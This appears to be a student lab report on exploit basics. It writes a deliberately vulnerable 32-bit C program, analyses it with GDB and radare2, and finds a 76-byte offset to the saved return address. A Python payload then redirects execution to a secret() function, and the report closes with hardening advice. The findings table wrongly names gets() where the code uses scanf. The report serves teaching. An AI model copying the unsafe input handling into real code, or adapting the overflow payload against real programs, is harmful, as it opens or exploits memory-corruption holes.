

# **Exploit and Development basics**



<b>Table of contents</b>	
1. Lab Objective	3
2. Tools Used	3
3. Tasks:	3
3.1. Binary Analysis	3
3.2. Buffer Overflow Discovery	5
3.3. Radare2 Analysis	6
3.4. Proof-of-Concept Payload	6
4. Summary of Findings	7
5. Conclusion	7
6. Recommendations	7
List of Figures	
Figure 3.1 Shows vuln.c program	3
Figure 3.2 Shows strings	4
Figure 3.3 Shows strings in gdb	4
Figure 3.4 Buffer overflow is confirmed	5
Figure 3.5 confirming offset	5
Figure 3.6 confirming registers	5
Figure 3.7 radare2 results	6
Figure 3.8 confirming POC	7
List of Tables	
Table 4.1 Shows summary of findings	7



# 1. Lab Objective

Analyze a vulnerable C binary, discover buffer overflow vulnerability, and demonstrate a safe proof-of-concept (PoC) exploit.

## 2. Tools Used

• GDB, radare2, Python 3

#### 3. Tasks:

- Perform binary analysis using strings and GDB.
- Identify buffer overflow vulnerability and offset to saved return address.
- Craft a PoC payload to hijack control flow (redirect to secret() function).
- Observe program behavior (safe crash or execution of secret()).

## 3.1. Binary Analysis

Step 1: Create a vulnerable c program name it as vuln.c and save it on desktop

#### Explanation of code:

 $buf[64] \rightarrow local$  buffer that can be overflowed.

 $scanf("\%s", buf) \rightarrow unsafe$  because it does not check input length, allowing overflow.

 $secret() \rightarrow target function to redirect program flow.$ 

```
Session Actions Edit View Help

include <stdio.h>
#include <string.h>

void secret() {
    printf("You reached the secret function!\n");
}

int main() {
    char buf[64];
    printf("Enter input: ");
    // scanf without length specifier = unsafe, can overflow buf scanf("%s", buf);
    printf("You typed: %s\n", buf);
    return 0;
}

~
~
```

Figure 3.1 Shows vuln.c program



#### Step 2: Inspect strings in binary

#### strings vuln

```
tdL
/lib/ld-linux.so.2
__IO_stdin_used
puts
__libc_start_main
printf
__isoc99_scanf
libc.so.6
GLIBC_2.7
GLIBC_2.0
GLIBC_2.34
gmon start
You reached the secret function!
Enter input:
You typed: %s
;*2$"
GCC: (Debian 14.3.0-5) 14.3.0
crt1.0
__wrap_main
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy
__frame_dummy
__frame_dummy
__DYNAMIC
__GNU_EH_FRAME_HDR
GLOBAL_OFFSET_TABLE
```

Figure 3.2 Shows strings

#### Step 2: Discover functions using GDB

gdb vuln

#### info functions

Address of secret() function: 0x8049186 <secret>

Figure 3.3 Shows strings in gdb



# 3.2. Buffer Overflow Discovery

Step 1: Test overflow

```
python3 -c "print('A'*76)" | ./vuln
```

Observations:

- Program prints input and then segmentation fault occurs when input exceeds 76 bytes.
- Confirms saved return address can be overwritten.

Figure 3.4 Buffer overflow is confirmed

Step 2: Confirm offset to EIP

Offset = 76 bytes to reach saved return address.

This is confirmed by gradually increasing input length until crash occurs.

Figure 3.5 confirming offset

Figure 3.6 confirming registers



## 3.3. Radare2 Analysis

Step 1: Run commands

r2 vuln

aaa # Analyze all

afl # List functions

pdf # print dis-assembly of main

izz # search for strings

Figure 3.7 radare2 results

# 3.4. Proof-of-Concept Payload

Step 1: Craft and run payload

- python3 -c "import sys; sys.stdout.buffer.write(b'A'\*76 + b'\x86\x91\x04\x08')" > payload.bin
- ./vuln < payload.bin

 $A*76 \rightarrow$  padding to reach saved EIP

 $|x86|x91|x04|x08 \rightarrow \text{little-endian address of secret()} (0x8049186)$ 

Program either segmentation faults or prints:



Figure 3.8 confirming POC

# 4. Summary of Findings

Finding	Details
Vulnerability	Buffer overflow in gets(buf)
Offset to saved EIP	76 bytes
Target function	secret() at 0x8049186
Exploit Outcome	Segmentation fault confirms EIP overwrite; PoC can redirect to secret()

Table 4.1 Shows summary of findings

## 5. Conclusion

- The buffer overflow vulnerability was successfully analyzed.
- Offset to saved return address identified.
- Safe PoC payload demonstrates control over program flow.

## 6. Recommendations

- Avoid unsafe functions: Replace scanf("%s", buf) with safer alternatives like fgets(buf, sizeof(buf), stdin) to limit input size.
- Enable compiler protections: Use stack protection flags (-fstack-protector-strong), PIE (-fPIE), and ASLR to make exploitation harder.
- Validate input: Always check and sanitize user input to ensure it does not exceed buffer size.
- Use modern libraries: Consider using higher-level languages or libraries that handle memory safely to reduce the risk of buffer overflows.
- Regular code review: Perform peer reviews and static analysis to identify potential vulnerabilities early.
- Practice safe exploit testing: Conduct exploit development only in isolated, controlled virtual environments to avoid accidental damage.